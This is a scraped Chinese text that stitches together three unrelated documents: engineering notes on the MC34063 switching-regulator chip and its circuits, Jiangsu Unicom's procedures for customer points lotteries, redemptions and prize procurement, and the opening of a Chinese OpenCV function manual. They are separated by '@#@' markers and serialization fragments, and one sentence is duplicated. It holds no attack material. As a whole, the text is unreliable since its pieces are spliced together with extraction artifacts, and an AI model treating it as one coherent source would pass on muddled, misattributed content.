@#@此驱动电路能防止Q1的Vce过低,使其导通在弱饱和状态(负反馈)。
@#@@#@ @#@ @#@@#@利用一片34063就可以产生三路电压输出,如图5所示。
@#@@#@图5输出3路电压的34063电路@#@ @#@ @#@+Vo的输出电压峰值可达2倍V_IN,-Vo的输出电压可达-V_IN。
@#@需要注意的是,3路的峰值电路不能超过1.5A,输出功率合计P≤V_IN·@#@I·@#@r,其中I为主输出的电流,r为占空比。
@#@在此两路输出电流不大的情况下,此电路可以很好地降低实现升压和负压电源的成本。
@#@@#@●具有“关断”功能的34063电路@#@ @#@ @#@ @#@34063本身不具有关断功能,但可以利用它的过流饱和功能,增加几个器件就可以实现关断功能,同时还可以实现延时启动。
@#@@#@图6是具有关断功能的34063电路,R3取510Ω,R4取3.9kΩ。
@#@当控制端加一个高电平,则34063的输出就变成0V,同时不影响它的过流保护功能的正常工作。
@#@@#@“拉低⑦脚”?
@#@——能够完全关断。
@#@@#@↓图6.具有关断功能的34063电路,(拉低⑦脚)@#@将此电路稍加改动,就可以得到具有延时启动功能的34063电路,如图7所示。
@#@@#@↓图7.具有延时启动功能的34063电路(暂时拉低⑦脚)@#@取C11为1μF,R10为5KΩ,就可以达到200~500ms的启动延时(jrq:
@#@延时时间主要与三极管放大倍数β有关,因C11的充电电流约为流过R10总电流的1/(β+1),故相当于充电时间被延长约β倍,或相当于接了个β倍的电容或电阻)。
@#@这个电路的缺点就是当峰值电流过流时无法起到保护作用,只能对平均电流过流起保护作用。
@#@@#@●恒流恒压充电电路@#@恒压恒流充电电路如图8所示,可用于给蓄电池进行充电,先以500mA电流恒流充电,充到13.8V后变为恒压充电,充电电流逐渐减小。
@#@Q1导通,电流通过R3抬高③脚电压→限流。
@#@-jrq@#@↓图8.恒压恒流充电电路@#@■@#@34063的局限性@#@由34063构成的开关电源虽然价格便宜、应用广泛,但它的局限性也是显而易见的。
@#@主要有以下几点:
@#@@#@
(1)效率偏低。
@#@对于降压应用,效率一般只有70%左右,输出电压低时效率更低。
@#@这就使它不能用在某些对功耗要求严格的场合,比如USB提供电源的应用。
@#@@#@
(2)占空比范围偏小,约在15%~80%,这就限制了它的动态范围,某些输入电压变化较大的应用场合则不适用。
@#@@#@(3)由于采用开环误差放大,所以占空比不能锁定,这给电路参数的选择带来麻烦,电感量和电容量不得不数倍于理论计算值,才能达到预期的效果。
@#@虽然34063有许多缺点,但对产品利润空间十分有限的制造商来说,它还是设计开关电源的很好选择。
@#@@#@开关电源频率和对ADSL的影响@#@对于ADSL来说,上行信道分布在30~100kHz之间,下行信道分布在100kHz~1.1MHz之间。
@#@长线连接速率常常是衡量ADSL性能的一个重要指标,但在线路很长的时候,下行信道中高频信道衰减得很厉害,所以此时下行低频段的信噪比对长线连接速率就起着至关重要的作用。
@#@@#@开关电源的输出含有开关频率基频及其谐波的纹波成分,一般从基波到10次谐波的能量都比较大。
@#@如果开关频率为20kHz,它的谐波为40kHz、60kHz、80kHz…。
@#@这样,从100~300kHz的下行信道中就会有10个干扰的频率点。
@#@而如果开关频率为100kHz,则干扰点就下降为2个,如果开关频率为1MHz,则下行信道就不会受到干扰,这样就能极大提高下行信道的性能。
@#@@#@器件选择要点@#@
(1)续流二极管一般选肖特基二极管,正向压降低,但要注意耐压。
@#@如果输出电压很小(零点几伏),就必须使用压降更低的MOS管续流(以便降耗)。
@#@输出滤波电容一般使用高频电容,可减小输出纹波同时降低电容的温升。
@#@在取样电路的上臂电阻并一个0.1~1nf电容,可以改善瞬态响应(即所谓“加速电容”或“补偿电容”)。
@#@@#@PCB布局和布线的要点@#@开关导通和关断都存在一个电流环路,这两个环路都是高频、大电流的环路,所以在布局和布线时都要将此二环路面积设计得最小。
@#@用于反馈的取样电压要从输出电容上引出,并注意芯片或开关管的散热。
@#@@#@■@#@〓MC34063接成标准的DC—DC电路〓@#@斩波型开关电源@#@ @#@ @#@斩波型开关电源按其拓扑结构通常可以分为3种:
@#@降压型(Buck)、升压型(Boost)、升降压型(Buck-boost)。
@#@降压型开关电源电路通常如图1所示。
@#@@#@图1中,T为开关管,L1为储能电感,C1为滤波电容,D1为续流二极管。
@#@当开关管导通时,电感被充磁,电感中的电流线性增加,电能转换为磁能存储在电感中。
@#@设电感的初始电流为iL0,则流过电感的电流与时间t的关系为:
@#@@#@ @#@ @#@iLt=iL0+(Vi-Vo-Vs)t/L,电流渐增,Vs为“开关管T”的导通压降。
@#@@#@ @#@ @#@当T关断时,L1通过D1续流,从而电感的电流线性减小,设电感的初始电流为iL1,则则流过电感的电流与时间t的关系:
@#@@#@ @#@ @#@iLt="@#@iL1"@#@-(Vo+Vf)t/L,电流渐小,Vf为D1的正向饱和电压。
@#@@#@这种用于DC-DC电源变换的集成电路,应用比较广泛,通用廉价易购。
@#@极性反转效率最高65%,升压效率最高90%,降压效率最高80%,变换效率和工作频率滤波电容等成正比。
@#@@#@另外,输出功率达不到要求的时候,比如>250~300MA时,可以通过外接扩功率管的方法扩大电流,双极型或MOS型扩流管均可,计算公式和其他参数及其含义详见最下部详细介绍即可。
@#@@#@ @#@@#@外围元件标称含义和它们取值的计算公式:
@#@@#@Vout(输出电压)=1.25V(1+R2/R1)@#@Ct(定时电容):
@#@决定内部工作频率。
@#@Ct=0.000004*Ton(工作频率)@#@Ipk=2*Iomax*T/toff@#@Rsc(限流电阻):
@#@决定输出电流。
@#@Rsc=0.33/Ipk@#@Lmin(电感):
@#@Lmin=(Vimin-Vces)*Ton/Ipk@#@Co(滤波电容):
@#@决定输出电压波纹系数,Co=Io*ton/Vp-p(波纹系数)@#@固定值参数:
@#@@#@Vces=1.0V ton/toff=(Vo+Vf-Vimin)/(Vimin-Vces) Vimin:
@#@输入电压不稳定时的最小值 @#@Vf=1.2V快速开关二极管正向压降;@#@@#@其他手册参数:
@#@@#@MC34063输入电压2.5~40V,输出电压1.25~40V,工作温度0~70度@#@MC33063输入电压2.5~40V,输出电压1.25~40V,工作温度-40~80度@#@网上有一些现成的MC34063升降压板(既升压又降压),可以买来改造。
@#@@#@网上有一些现成的MC34063升降压板(既升压又降压),可以买来改造。
@#@@#@ @#@@#@";i:
2;s:
25997:
"江苏联通积分工作规范@#@江苏联通积分工作规范@#@一、积分抽奖管理@#@目的@#@为规范分公司积分抽奖工作管理,对积分抽奖奖品、积分抽奖工作流程及积分业务考核环节进行有效控制,特制定本管理规程。
@#@@#@适用范围@#@本规程适用于分公司积分抽奖的日常管理。
@#@@#@职责@#@省分客服部职责@#@负责制定本省积分抽奖管理规范,并监督检查落实情况;@#@@#@根据积分与成本配比原则,负责制定本省积分抽奖方案,并对市分实施情况进行监督检查;@#@@#@根据活动方案要求,做好省级宣传工作;@#@@#@负责积分抽奖奖品省级招标的牵头组织工作,并负责奖品的采购、调配、付款工作;@#@@#@负责对分公司积分抽奖工作考核。
@#@@#@市分职责@#@严格按照省分客服部制定的管理规程对本市分积分抽奖工作进行管理;@#@@#@负责根据省分分积分抽奖方案,开展积分抽奖活动,落实内部渠道、外部媒体的相关宣传工作;@#@@#@负责积分抽奖过程中客户的业务咨询及投诉处理工作。
@#@@#@负责积分抽奖开奖、发奖工作。
@#@@#@负责本市分通信内产品采购、调配工作;@#@负责省分下发的奖品到货后的入库、验收、分发及数据统计,认真做好日常管理及维护工作;@#@@#@负责本市分积分抽奖奖品的财务稽核和业务稽核。
@#@@#@相关文件@#@《合同管理细则》@#@《出入库管理实施细则》@#@《招投标管理规定》@#@《服务类用品采购管理规程》@#@管理规程@#@积分方案的制定与实施@#@省分客服部要根据公司积分抽奖成本与积分消减的配比原则,制定全省统一的积分抽奖活动方案,省分客服部部门经理组织部门内相关人员对积分抽奖方案进行审阅,并报省分财务部、市场部、信息化部会签后,由分管副总签批后下发市分。
@#@@#@各市分客服部根据省分积分抽奖方案要求,开展积分抽奖活动,落实内部渠道、外部媒体的相关宣传。
@#@@#@根据活动方案,有针对性地对客户进行短信群发宣传工作;@#@@#@根据各市分实际情况,印制宣传单页、宣传海报等,摆放在营业厅,供客户取阅。
@#@@#@根据各市分实际情况,在市级媒体上发布平面广告、软文;@#@在电台进行活动宣传。
@#@@#@根据省分的定期通报,及时加强积分抽奖活动的宣传力度,吸引客户积极参与。
@#@@#@积分抽奖业务咨询及投诉处理工作@#@积分抽奖业务咨询@#@通过营业厅前台咨询,营业员应主动向客户介绍当期积分抽奖活动内容、参与抽奖方法、积分查询方法等;@#@@#@通过10010客服热线人工咨询,如有客户咨询,10010客户代表应向客户介绍当期积分抽奖活动内容同时,告知参与抽奖方法、积分查询方法等;@#@@#@在日常回访客户过程中,向客户介绍当期抽奖活动内容的工作;@#@@#@通过10010客服热线语音咨询,客户可用本机拨打联通客户热线10010转1键选择方式1,了解具体的积分活动介绍:
@#@如需了解积分规则请按1;@#@了解积分查询方法请按2;@#@了解积分活动参与方法请按3;@#@了解积分抽奖活动时间请按5;@#@了解开奖及公布时间请按6。
@#@@#@积分抽奖投诉处理工作@#@根据客户有关积分的投诉,分为两种处理:
@#@1)投诉处理部门可直接根据10010知识库积分资料给予解答;@#@2)对于投诉处理部门不能直接解决的问题,可转市分积分管理员协调处理,再答复客户结果。
@#@@#@ @#@@#@负责积分抽奖开奖、发奖工作@#@积分抽奖开奖工作@#@各市分公司应在接到省分开奖通知后,严格按照当期活动公告内容执行。
@#@整个积分抽奖奖品领取时间全程共计50天。
@#@中奖客户过期不领的,视为自动放弃奖品,不得领取。
@#@@#@开奖结果公布后:
@#@10天内完成中奖客户奖品预约的工作;@#@@#@省分将在预约完成后:
@#@15天内将预约的奖品送达各地市;@#@@#@各地市在接到奖品后:
@#@25天内通知客户,并完成客户领取奖品的工作。
@#@@#@积分抽奖奖品发奖工作@#@为提高奖品领取率,缩短奖品到达客户的时间,各市分公司应按以下办法操作:
@#@@#@对中奖客户可采取电话回访方式,请客户预约奖品;@#@@#@奖品到货后,可采取电话通知的方式,通知客户速到营业厅领取奖品;@#@@#@对于快到领奖期限仍不来领奖的客户,各市分公司应建立预警提醒,发送提醒短信或电话通知,提醒客户奖品领取截止日期,逾期视自动放弃,不得再领。
@#@@#@积分抽奖领奖要求@#@中奖号码机主本人持有效身份证件领奖。
@#@每次领取奖品时中奖客户需填写积分抽奖领奖单(一式四联),并经中奖客户及经办人签字确认,第二联客户提取联作为客户领奖凭证,在客户领奖后收回。
@#@@#@客户参加积分抽奖领奖时必须在网且处于正常使用状态;@#@客户在欠费状态下,不可办理积分领奖,缴清欠费后方可办理。
@#@@#@对中奖客户姓名与积分系统记录不符的,应核实其是否是机主,原则上须办理相关过户手续后,方可领奖。
@#@如因特殊原因,无法提供原机主资料,无法办理过户手续的,可请客户提供连续3个月使用中奖手机号码的话费记录,核实其为中奖手机号码的实际使用者,方可领奖。
@#@用于核实手机使用者身份的话费记录必须保留,以便积分内控检查需要。
@#@@#@开奖公告公布后50天内领奖有效,超过50天不领取奖品,则视为自动放弃。
@#@@#@同一抽奖序号奖项不可以兼中兼得,以高档次的奖项为准。
@#@@#@积分奖品日常管理@#@奖品到货后,有条件的分公司可将所有抽奖奖品实物入分公司库房。
@#@市分客服部负责到货后的验收和日常发放调配工作,综合部负责奖品的入库和贮存,其中验收、出入库执行《库房管理规程》的有关规定,奖品入库时,需要填写《入库单》。
@#@对于不满足奖品实物入库房条件的分公司,各市分公司可自行指定存放地点,但奖品管理严格按照《库房管理规程》的有关规定执行。
@#@@#@保管人员应每月对库存情况进行检查、盘点,检查时应注意库存品的状态,并核对数量,做到帐、物一致。
@#@检查情况应记录,若发现库存奖品损坏或数量差错等问题应及时报主管经理核实处理。
@#@@#@市分客服部在领奖期间要做好奖品的发放管理及调配工作,向各县分提出存放奖品的具体要求,其中包括日常的存放、清洁维护、数据统计、日常盘点等工作。
@#@@#@各县分要指定积分物品管理员负责奖品的日常申领、发放和登记等管理工作。
@#@奖品的实物领取由各县分填写《出库单》报客服部审批后可到库房领取。
@#@消费券等有价卡的领取同样要履行同样的审批手续后方可领取。
@#@@#@各县分收到奖品后要做好在积分系统中奖品入库、分配工作,并将奖品下发到各营业厅。
@#@@#@各营业厅收到奖品后要做好领奖前的准备工作,同时在积分系统中做好奖品入库工作。
@#@@#@市分财务部、客服部应定期组织对抽奖奖品进行盘查,原则上每月前三个工作日内进行,每次盘点后必须将盘点结果与入库、出库台帐、积分系统库存数据进行核对,确保帐、单、物、积分系统库存数据一致。
@#@@#@对于逾期未领的积分抽奖奖品,各市分公司不得善自处理,必须按省分要求暂为保管并由省分统一处理。
@#@@#@领奖稽核工作流程@#@财务稽核@#@各营业厅在办理积分抽奖领取业务时,必须由客户填写《积分奖品领取单》,并由客户签字确认,同时在积分系统中录入领奖记录,以备稽核。
@#@各营业厅在每天工作结束后,从积分系统中打印《积分抽奖营业厅日报》,核对当日《积分奖品领取单》记录与积分系统记录是否一致,积分系统库存数与实物是否一致,核查无误后,经办人及审核人签字确认,做到日清日结。
@#@@#@各营业厅须将每日汇总的《积分奖品领取单—财务联》与《积分抽奖营业厅日报》装订后,按月上报市分财务部以便进行相关稽核工作。
@#@@#@业务稽核@#@各市分客服部实施积分抽奖奖品领取的稽核以及客户资料真实性和系统资料操作正确性的审核。
@#@@#@各营业厅须将每日的《积分奖品领取单—留存联》按日装订,按月报送市分客服部以便做好相关稽核工作。
@#@@#@数据统计与上报@#@每天营业结束,营业员从CRM系统打出《积分抽奖日报表》,与积分抽奖物品领取单进行核对;@#@每周营业员和卡物管理员按系统报表进行核对抽奖奖品数量经办人及审核人签字确认,做到日清日结。
@#@@#@市分客服部积分负责人应定期组织对抽奖奖品进行盘查,原则上每月前三个工作日内进行,每次盘点后必须将盘点结果与入库、出库单、系统库存数据进行核对,确保帐、单、物、积分系统库存数据一致。
@#@并填写《积分抽奖产品盘点确认表》,经市分物品管理员、市分客服部积分管理员、市分客服部经理三人签字确认。
@#@@#@各市分客服部每期结束后,根据市分实际领奖情况上报《积分抽奖期报》,由市分财务部复核抽奖产品价值,并经市分客服部经理、市分财务部经理、分管副总签字,加盖市分公司公章后,传真至省分客服部。
@#@@#@财务报销流程@#@为做好全省积分成本控制,各市分公司客户服务部在每期结束后,根据市分实际领奖情况上报《积分抽奖期报》,由市分财务部复核抽奖产品价值,支出费用与消耗掉的积分成本进行核查(每消减100分积分的支出成本不超过0.5元),对于消耗掉的积分成本大于支出费用的准予报销,对于消耗掉的积分成本小于支出费用时不予报销。
@#@@#@每次进行积分费用报销时,各市分公司客服部将积分系统的抽奖数据提供给财务部核查备用。
@#@@#@业务考核@#@各市分按实际完成计划消减指标进行考核@#@记录@#@《积分抽奖方案》@#@《入库单》、《出库单》@#@《积分奖品领取表》@#@《积分抽奖营业厅日报》@#@《积分抽奖产品盘点确认表》@#@《积分抽奖期报》@#@二、积分兑换管理@#@目的@#@为规范分公司积分兑换工作管理,对积分兑换礼品、积分兑换工作流程及积分业务考核环节进行有效控制,特制定本管理规程。
@#@@#@适用范围@#@本规程适用于分公司积分兑换的日常管理。
@#@@#@职责@#@省分客服部职责@#@负责制定本省积分兑换管理规范,并监督检查落实情况;@#@@#@根据分公司成本预算,负责制定本省积分兑换方案,并对市分实施情况进行监督检查;@#@@#@根据积分与成本配比原则,审批分公司积分兑换方案,并配置积分兑换产品;@#@@#@负责积分兑换奖品省级招标的牵头组织工作,并负责奖品的采购、调配、付款工作;@#@@#@负责对分公司积分兑换工作考核。
@#@@#@市分职责@#@严格按照省分客服部制定的管理规程对本市分积分兑换工作进行管理;@#@@#@负责策划本市分积分兑换方案,根据积分与成本配比原则,设置兑换产品积分值,并报备省分;@#@@#@负责策划本市分礼品采购、调配、付款工作,并负责礼品到货后的入库、验收、分发及数据统计,认真做好日常管理及维护工作;@#@@#@负责本市分积分兑换财务稽核和业务稽核;@#@@#@负责积分兑换过程中客户的业务咨询、受理以及投诉处理工作。
@#@@#@相关文件@#@《合同管理细则》@#@《出入库管理实施细则》@#@《招投标管理规定》@#@《服务类用品采购管理规程》@#@管理规程@#@积分方案的制定与实施@#@省分客服部要根据公司全年积分兑换成本预算,制定全省统一的积分兑换活动方案,省分客服部部门经理组织部门内相关人员对积分兑换方案进行审阅,并报省分财务部、市场部、信息部会签后,由分管副总签批后下发市分。
@#@@#@各市分客服部根据省分积分兑换方案要求制定本公司的积分兑换方案,并填写《分公司积分系统操作积分兑换业务审批表》经市分客服部经理、分管副总签字后,从MSS系统上通过省市协调单方式经市分客服部经理签批后报省分客服部审批。
@#@@#@《分公司积分系统操作积分兑换业务审批表》须附以下文件:
@#@@#@须经部门经理、财务部经理汇签后,报分管副总签批的《地市积分兑换方案》。
@#@@#@须经部门经理、财务部经理汇签后,报分管副总签批的批准采购的电子流程文件。
@#@@#@《积分兑换产品明细表》。
@#@@#@《积分兑换产品成本预算表》。
@#@@#@省分客服部审核地市上报的《分公司积分系统操作积分兑换业务审批表》,符合积分兑换原则,省分给予办理。
@#@不符合积分兑换原则,退回地市公司,不予办理。
@#@@#@省分客服部经办人根据《积分兑换明细表》在积分系统中为地市配置积分兑换礼品及对应的兑换积分值。
@#@市分组织即可组织方案的实施。
@#@@#@积分礼品采购、配送管理@#@积分礼品招标管理执行《客服部服务类用品采购、配送管理规程》的有关规定。
@#@@#@积分礼品采购管理执行《客服部服务类用品采购、配送管理规程》的有关规定。
@#@@#@积分礼品日常管理@#@礼品到货后,有条件的分公司可将所有兑换礼品实物入分公司库房。
@#@市分客服部负责到货后的验收和日常发放调配工作,综合部负责礼品的入库和贮存,其中验收、出入库执行《库房管理规程》的有关规定,礼品入库时,需要填写《入库单》。
@#@对于不满足礼品实物入库房条件的分公司,各市分公司可自行指定存放地点,但礼品管理严格按照《库房管理规程》的有关规定执行。
@#@@#@保管人员应每月对库存情况进行检查、盘点,检查时应注意库存品的状态,并核对数量,做到帐、物一致。
@#@检查情况应记录,若发现库存礼品损坏或数量差错等问题应及时报主管经理核实处理。
@#@@#@市分客服部在兑换期间要做好礼品的发放管理及调配工作,并向各县分提出存放礼品的具体要求,其中包括日常的存放、清洁维护、数据统计、日常盘点等工作。
@#@@#@各县分要指定积分物品管理员负责礼品的日常申领、发放和登记等管理工作。
@#@礼品的实物领取由各县分填写《出库单》报客服部审批后可到库房领取。
@#@消费券等有价卡的领取同样要履行同样的审批手续后方可领取。
@#@@#@各县分收到礼品后要做好在积分系统中礼品入库、分配工作,并将礼品下发到各营业厅。
@#@@#@各营业厅收到礼品后要做好兑换前的准备工作,同时在积分系统中做好礼品入库工作。
@#@@#@市分财务部、客服部应定期组织对兑换奖品进行盘查,原则上每月前三个工作日内进行,每次盘点后必须将盘点结果与入库、出库台帐、积分系统库存数据进行核对,确保帐、单、物、积分系统库存数据一致。
@#@@#@客户兑换业务受理流程、投诉处理流程@#@普通客户前台兑换流程@#@积分兑换在各市分营业厅进行,各市分应设立积分兑换专席,配置与积分系统连接的专用电脑,安排专人负责积分兑换工作,并设立兑换礼品专柜或专区用于积分礼品的展示。
@#@@#@钻石客户上门服务兑换流程@#@各市分在进行钻石卡客户的兑换业务时,客户经理应向钻石卡客户推荐相关奖品的积分兑换业务;@#@钻石卡客户兑换资格的审核由客户经理进行验证,并由客户经理发放礼品。
@#@@#@客户网站积分兑换流程@#@通过门户网站网上营业厅方式进行积分兑换,系统自动实现兑换通信内产品或服务的开通和激活;@#@兑换通信外产品由第三方公司通过邮寄方式送达客户。
@#@@#@电话回访积分兑换产品流程@#@通过客服经理电话回访方式为客户进行积分兑换,兑换成功后,客户可选择至营业厅领取或直接邮寄。
@#@@#@预约兑换流程@#@如客户需要兑换的物品暂时未到货,先为客户预约物品并扣减积分,到货后请客户领取,客户可选择至营业厅领取或直接邮寄。
@#@@#@ @#@@#@积分兑换活动要求@#@客户兑换时无需输入客户密码,但必须是机主本人持本人有效身份证件。
@#@@#@客户的积分只要在积分有效期内均可进行积分兑换。
@#@@#@客户参加积分兑换时必须在网且处于正常使用状态;@#@客户在欠费状态下,不可办理积分兑换,缴清欠费后方可办理。
@#@@#@客户积分达到兑换起兑门槛后,客户可以根据自己的积分值自行决定兑换奖品品种及数量,营业员要明确告知客户将扣减的积分,如客户没有异议需填写《积分奖品领取单》(一式四联),并经兑换客户及经办人签字确认。
@#@第二联客户提取联作为客户兑换礼品凭证,在客户兑换后给客户留存。
@#@客户一经选择确定奖品后,不得更改。
@#@@#@如客户姓名与在积分系统中登记的姓名不一致,应核实其是否是机主,原则上须办理相关过户手续后,方可兑换。
@#@如因特殊原因,无法提供原机主资料,无法办理过户手续的,可请客户提供连续3个月使用手机号码的话费记录,核实其为手机号码的实际使用者,方可兑换。
@#@用于核实手机使用者身份的话费记录必须保留,以便积分内控检查需要。
@#@@#@通过送货上门方式兑换门票的,请按钻石卡客户的兑换流程执行,物品送出的当天必须返回兑换单,并在积分系统中完成兑换记录。
@#@@#@通过门户网站网上营业厅方式办理积分兑换业务,客户身份通过在网站上录入客户密码加短信附加码方式进行验证。
@#@@#@通过电话回访方式兑换的必须先向客户推荐,征得客户同意方可兑换,为符合内控要求,客户同意兑换的所有录音必须保留,录音流水号必须填写正确。
@#@电话回访核查、兑换核查必须专人负责,并在《电话回访兑换产品登记表》上签字确认@#@通过预约方式兑换的,客户在营业厅办理预约兑换后,必须在系统中扣减客户积分,将奖品领取单发给客户,注明兑换物品未领。
@#@通过电话回访方式预约兑换的客户,必须与客户确认要兑换的物品、领取方式、需先扣减的积分数,并告知货到后及时通知客户领取。
@#@客户兑换物品到货后,应先及时通知办理预约兑换的客户,请客户及时至营业厅领取或邮寄客户。
@#@@#@积分投诉处理流程@#@根据客户有关积分的投诉,分为两种处理:
@#@1)投诉处理部门可直接根据10010知识库积分资料给予解答;@#@2)对于投诉处理部门不能直接解决的问题,可转市分积分管理员协调处理,再答复客户结果。
@#@@#@积分兑换稽核工作流程@#@财务稽核@#@各营业厅在办理积分兑换业务时,必须由客户填写《积分奖品领取单》,并由客户签字确认,同时在积分系统中录入兑换记录,以备稽核。
@#@各营业厅兑换点在每天兑换活动结束后,从积分系统中打印《积分兑换营业厅日报》,核对当日《积分奖品领取单》记录与积分系统记录是否一致,积分系统库存数与实物是否一致,核查无误后,经办人及审核人签字确认,做到日清日结。
@#@@#@各营业厅须将每日汇总的《积分奖品领取单—财务联》与《积分兑换营业厅日报》装订后,按月上报市分财务部以便进行相关稽核工作。
@#@@#@业务稽核@#@各市分客服部实施积分兑换的业务稽核以及客户资料真实性和系统资料操作正确性的审核。
@#@@#@各营业厅须将每日的《积分奖品领取单—留存联》按日装订,按月报送市分客服部以便做好相关稽核工作。
@#@@#@数据统计与上报@#@每天营业结束,营业员从CRM系统打出《积分兑换日报表》,与积分兑换物品领取单进行核对;@#@每周营业员和卡物管理员按系统报表进行核对兑换奖品数量经办人及审核人签字确认,做到日清日结。
@#@@#@市分客服部积分负责人应定期组织对兑换奖品进行盘查,原则上每月前三个工作日内进行,每次盘点后必须将盘点结果与入库、出库单、系统库存数据进行核对,确保帐、单、物、积分系统库存数据一致。
@#@并填写《积分兑换产品盘点确认表》,经市分物品管理员、市分客服部积分管理员、市分客服部经理三人签字确认。
@#@@#@各市分客服部每月8日至10日根据市分实际兑换情况上报《积分兑换月报》,由市分财务部复核兑换产品价值,并经市分客服部经理、市分财务部经理、分管副总签字,加盖市分公司公章后,传真至省分客服部。
@#@@#@财务报销流程@#@为做好全省积分成本控制,各市分公司客户服务部在每月结束后,根据市分实际兑换情况上报《积分兑换月报》,由市分财务部复核兑换产品价值,支出费用与消耗掉的积分成本进行核查(日常兑换产品每1元=120分积分,特殊活动按省分要求执行),对于消耗掉的积分成本大于支出费用的准予报销,对于消耗掉的积分成本小于支出费用时不予报销。
@#@@#@每次进行积分费用报销时,各市分公司客服部将积分系统的兑换数据提供给财务部核查备用。
@#@@#@业务考核@#@各市分按实际完成计划消减指标进行考核@#@记录@#@《分公司积分系统操作积分兑换业务审批表》@#@《地市积分兑换方案》@#@批准采购的书面文件@#@《积分兑换产品明细表》@#@《入库单》、《出库单》@#@《积分奖品领取表》@#@《积分兑换营业厅日报》@#@《积分兑换产品盘点确认表》@#@《积分兑换月报》@#@ @#@@#@三、积分物品采购管理@#@目的@#@为进一步加强和规范全省服务类物资采购及配送工作,确保采购过程能够得到有效的监督和控制,采购成本得到降低,物资配送及时,客户满意度提高,特制定本管理规程。
@#@@#@适用范围@#@本规程适用于分公司服务类用品的采购、配送管理。
@#@@#@职责@#@省分客服部职责@#@负责提出订立全省统一组织的服务类用品采购、配送合同的需求,并按招投标管理规定执行;@#@@#@负责在省分合同管理系统中完成合同的电子审批流程。
@#@@#@市分客服部职责@#@负责向综合部提出地市组织的服务类用品采购的需求,并按招投标管理规定执行;@#@@#@负责积分兑换礼品、抽奖奖品的收到确认、出入库及领用工作。
@#@@#@积分兑换礼品、抽奖奖品的采购管理@#@省分客服部要在每年评定合格的公司入围礼品提供商中进行选购,并按招投标管理规定执行。
@#@@#@省分客服部根据公司的成本测算和活动需求确定每次礼品购置的种类,并与礼品提供商确定最终价格后,与礼品提供商签订正式供货合同,并在合同中明确礼品时间采购到货时间。
@#@合同审批流程执行《合同管理细则》的有关规定。
@#@@#@市分客服部根据公司的成本测算和活动需求确定每次礼品购置的种类,及礼品采购到货时间,并向综合部提出需求,综合部与礼品提供商确定最终价格后,与礼品提供商签订正式供货合同,合同审批流程执行《合同管理细则》的有关规定。
@#@@#@礼品的询价工作必须由专人负责,询价人员必须与合同报批的人员分开,岗位分离。
@#@@#@礼品的采购方式可选用一次性采购(指一次性购进)、实用实结(指与供货商合同约定,供货商在满足货品的前提下,按公司实际使用量进行付款结算)两种方式。
@#@为节约成本,避免一次性购进方式产生的库存积压问题,积分兑换建议尽量采购用实用实结方式,但为保证大规模兑换时,礼品能及时供应,也可采用一次性采购方式;@#@抽奖活动采购实用实结方式。
@#@@#@服务类用品的出入库及领用@#@由省分统一采购的服务类用品,由制作厂家根据市分的实际需求数量,在省分要求的配送时间内邮寄至市分,市分在收到物品后,需认真清点实际数量、有无破损情况,在《入库单》上登记签字。
@#@并完成《分公司奖品确认表》传真至省分客户服务部,省分根据市分实际收到的数量、及厂家配送的及时性对制作公司进行结算。
@#@@#@由市分自行采购的服务类用品,市分应要求厂家在指定时间内配送物品,在收到物品后,需清点实际数量、有无破损情况,并在《入库单》上登记签字。
@#@@#@相关人员领用物品时,需在《出库单》上登记签字。
@#@@#@记录@#@《分公司奖品确认表》@#@《出库单》@#@《入库单》@#@";i:
3;s:
16580:
"opencv中文手册范本@#@∙1梯度、边缘和角点@#@o1.1Sobel@#@o1.2Laplace@#@o1.3Canny@#@o1.4PreCornerDetect@#@o1.5CornerEigenValsAndVecs@#@o1.6CornerMinEigenVal@#@o1.7CornerHarris@#@o1.8FindCornerSubPix@#@o1.9GoodFeaturesToTrack@#@∙2采样、插值和几何变换@#@o2.1InitLineIterator@#@o2.2SampleLine@#@o2.3GetRectSubPix@#@o2.4GetQuadrangleSubPix@#@o2.5Resize@#@o2.6WarpAffine@#@o2.7GetAffineTransform@#@o2.82DRotationMatrix@#@o2.9WarpPerspective@#@o2.10WarpPerspectiveQMatrix@#@o2.11GetPerspectiveTransform@#@o2.12Remap@#@o2.13LogPolar@#@∙3形态学操作@#@o3.1CreateStructuringElementEx@#@o3.2ReleaseStructuringElement@#@o3.3Erode@#@o3.4Dilate@#@o3.5MorphologyEx@#@∙4滤波器与色彩空间变换@#@o4.1Smooth@#@o4.2Filter2D@#@o4.3CopyMakeBorder@#@o4.4Integral@#@o4.5CvtColor@#@o4.6Threshold@#@o4.7AdaptiveThreshold@#@∙5金字塔及其应用@#@o5.1PyrDown@#@o5.2PyrUp@#@∙6连接部件@#@o6.1CvConnectedComp@#@o6.2FloodFill@#@o6.3FindContours@#@o6.4StartFindContours@#@o6.5FindNextContour@#@o6.6SubstituteContour@#@o6.7EndFindContours@#@o6.8PyrSegmentation@#@o6.9PyrMeanShiftFiltering@#@o6.10Watershed@#@∙7图像与轮廓矩@#@o7.1Moments@#@o7.2GetSpatialMoment@#@o7.3GetCentralMoment@#@o7.4GetNormalizedCentralMoment@#@o7.5GetHuMoments@#@∙8特殊图像变换@#@o8.1HoughLines@#@o8.2HoughCircles@#@o8.3DistTransform@#@o8.4Inpaint@#@∙9直方图@#@o9.1CvHistogram@#@o9.2CreateHist@#@o9.3SetHistBinRanges@#@o9.4ReleaseHist@#@o9.5ClearHist@#@o9.6MakeHistHeaderForArray@#@o9.7QueryHistValue_1D@#@o9.8GetHistValue_1D@#@o9.9GetMinMaxHistValue@#@o9.10NormalizeHist@#@o9.11ThreshHist@#@o9.12CompareHist@#@o9.13CopyHist@#@o9.14CalcHist@#@o9.15CalcBackProject@#@o9.16CalcBackProjectPatch@#@o9.17CalcProbDensity@#@o9.18EqualizeHist@#@∙10匹配@#@o10.1MatchTemplate@#@o10.2MatchShapes@#@o10.3CalcEMD2@#@梯度、边缘和角点@#@Sobel@#@使用扩展Sobel算子计算一阶、二阶、三阶或混合图像差分@#@voidcvSobel(constCvArr*src,CvArr*dst,intxorder,intyorder,intaperture_size=3);@#@@#@src@#@输入图像.@#@dst@#@输出图像.@#@xorder@#@x方向上的差分阶数@#@yorder@#@y方向上的差分阶数@#@aperture_size@#@扩展Sobel核的大小,必须是1,3,5或7。
@#@除了尺寸为1,其它情况下,aperture_size×@#@aperture_size可分离内核将用来计算差分。
@#@对aperture_size=1的情况,使用3x1或1x3内核(不进行高斯平滑操作)。
@#@这里有一个特殊变量CV_SCHARR(=-1),对应3x3Scharr滤波器,可以给出比3x3Sobel滤波更精确的结果。
@#@Scharr滤波器系数是:
@#@@#@对x-方向或矩阵转置后对y-方向。
@#@@#@函数cvSobel通过对图像用相应的内核进行卷积操作来计算图像差分:
